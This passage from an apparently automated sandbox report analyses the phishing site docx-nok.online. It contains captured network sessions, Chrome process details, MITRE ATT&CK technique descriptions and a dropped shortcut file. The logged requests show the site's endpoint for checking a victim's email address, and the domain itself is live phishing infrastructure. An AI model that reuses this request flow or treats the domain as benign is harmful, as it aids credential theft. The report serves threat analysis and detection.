2024-04-19 15:02:14 UTC	2215	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.18	49756	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:34 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GHPArUCwvScl3Mw&MD=veMr7Bd5 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-19 15:02:34 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: a23a3355-51f0-4b13-a2f7-0496ac0783d3 MS-RequestId: d917e8d7-e3f9-4e52-9747-00b62f86627d MS-CV: CZmom3RmtkKMQRR7.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 19 Apr 2024 15:02:34 GMT Connection: close Content-Length: 25457
2024-04-19 15:02:34 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-19 15:02:34 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.18	49758	35.190.80.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:41 UTC	536	OUT	OPTIONS /report/v4?s=sE%2FViEXTjU3YoiTIVDU2HLPzJskHU7ESzd1dpLVo7zuFXga%2BjuMzBPHuoYzGoRvZv7R4VHv1NQuAHfd0R%2F5mdmWGW29MDiBDeqvviBNnuhovAfdGN1haa9Qjclu1Q90G9Xk%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://docx-nok.online Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:02:41 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 19 Apr 2024 15:02:41 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.18	49759	35.190.80.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:41 UTC	544	OUT	OPTIONS /report/v4?s=STBy%2BUyACwnYD3awDUeNnEj2LKnE68Y%2BVLhS1y75i%2F4haioJh%2F42CjIVyUVKma84h4FyNwG%2F6bntFklcOiAn7Pnz%2B4OBzeq4zdmX%2FYGkEAT6633iH3yFtiJRNk3xvv8MgC0%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://docx-nok.online Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:02:41 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 19 Apr 2024 15:02:41 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.18	49760	35.190.80.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:41 UTC	479	OUT	POST /report/v4?s=sE%2FViEXTjU3YoiTIVDU2HLPzJskHU7ESzd1dpLVo7zuFXga%2BjuMzBPHuoYzGoRvZv7R4VHv1NQuAHfd0R%2F5mdmWGW29MDiBDeqvviBNnuhovAfdGN1haa9Qjclu1Q90G9Xk%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 1870 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:02:41 UTC	1870	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 38 39 30 36 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 30 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 64 6f 63 78 2d 6e 6f 6b 2e 6f 6e 6c 69 6e 65 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 37 39 2e 31 34 38 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 Data Ascii: [{"age":58906,"body":{"elapsed_time":601,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://docx-nok.online/","sampling_fraction":1.0,"server_ip":"172.67.179.148","status_code":403,"type":"http.error"},"type":"network-error","u
2024-04-19 15:02:42 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 19 Apr 2024 15:02:41 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.18	49761	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:41 UTC	1225	OUT	GET /API.php?data=mail&email=alen@outlook.com&_=1713538912792 HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-platform-version: "10.0.0" X-Requested-With: XMLHttpRequest sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:02:42 UTC	740	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:02:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PJDUQof%2By64fI2%2Bt2jU3TJiS%2BksGYijobW6ApS0JaPU2%2Fx3h2PEVC92voRKoEPtggyeZH5hfN8TlTuseob2GJYz5H2axdHy8RlGp0QVk0DBPJ4UEUpgzEybVECkinlwmzNU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc6f0fa39add1-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:02:42 UTC	30	IN	Data Raw: 31 38 0d 0a 7b 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 18{"IfExistsResult":false}
2024-04-19 15:02:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.18	49762	35.190.80.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:41 UTC	487	OUT	POST /report/v4?s=STBy%2BUyACwnYD3awDUeNnEj2LKnE68Y%2BVLhS1y75i%2F4haioJh%2F42CjIVyUVKma84h4FyNwG%2F6bntFklcOiAn7Pnz%2B4OBzeq4zdmX%2FYGkEAT6633iH3yFtiJRNk3xvv8MgC0%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 1053 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:02:41 UTC	1053	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 38 34 31 35 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 33 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 33 35 2e 32 30 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 64 6f 63 78 2d 6e 6f 6b 2e 6f 6e 6c Data Ascii: [{"age":58415,"body":{"elapsed_time":630,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.35.209","status_code":400,"type":"http.error"},"type":"network-error","url":"https://docx-nok.onl
2024-04-19 15:02:42 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 19 Apr 2024 15:02:41 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.18	49763	104.21.35.209	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:42 UTC	611	OUT	GET /API.php?data=mail&email=alen@outlook.com&_=1713538912792 HTTP/1.1 Host: docx-nok.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:02:43 UTC	738	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:02:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uJSmxWYs7mxfzTVovphxu4klcpV3Lit5BfR56ysCFGMLTRc%2BkTOcaBh8dEoURj%2F3MAKrDnn3d6CpUJqck8sjLZR98B%2B2XzmYIV7qFUzcZFx7yqYAe9iuxYPJkdiAdjNcxpU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc6f5dd40137b-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:02:43 UTC	30	IN	Data Raw: 31 38 0d 0a 7b 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 18{"IfExistsResult":false}
2024-04-19 15:02:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.18	49764	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:44 UTC	1225	OUT	GET /API.php?data=mail&email=alen@outlook.com&_=1713538912793 HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-platform-version: "10.0.0" X-Requested-With: XMLHttpRequest sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:02:45 UTC	740	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ua7xEOlm2b6tX2ogFWeFrEDIJ5MBjroIeJgzhUBmYrbkc%2Bzlvbpn4WXkQmgYZ43GL468cXoIcDJ3X9VrOP%2FIatOgsr7O3RSpNZH283xj7Ha%2F%2FQo3BKXaor2rdKMUiZW2g1A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc7020dde1d68-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:02:45 UTC	30	IN	Data Raw: 31 38 0d 0a 7b 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 18{"IfExistsResult":false}
2024-04-19 15:02:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.18	49765	104.21.35.209	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:02:45 UTC	611	OUT	GET /API.php?data=mail&email=alen@outlook.com&_=1713538912793 HTTP/1.1 Host: docx-nok.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:02:45 UTC	738	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VWc183Py9kuVfzW1oPHMaBY%2FeLWoQHqy9JPh6CuNGXanmjhyyrShqubbVYSr0aDAo1RIoxHFdLhwLpOJ6GTo%2BhRrSb9FZ%2FFGzXoX6s6Rpkzfre4pX5eKGhzAAdRzwPtDM1w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc706da1153e0-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:02:45 UTC	30	IN	Data Raw: 31 38 0d 0a 7b 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 18{"IfExistsResult":false}
2024-04-19 15:02:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	17:01:39
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://docx-nok.online/
Imagebase:	0x7ff728d30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	17:01:39
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1960,i,2773275675352970223,11905223981876917908,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff728d30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://docx-nok.online/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

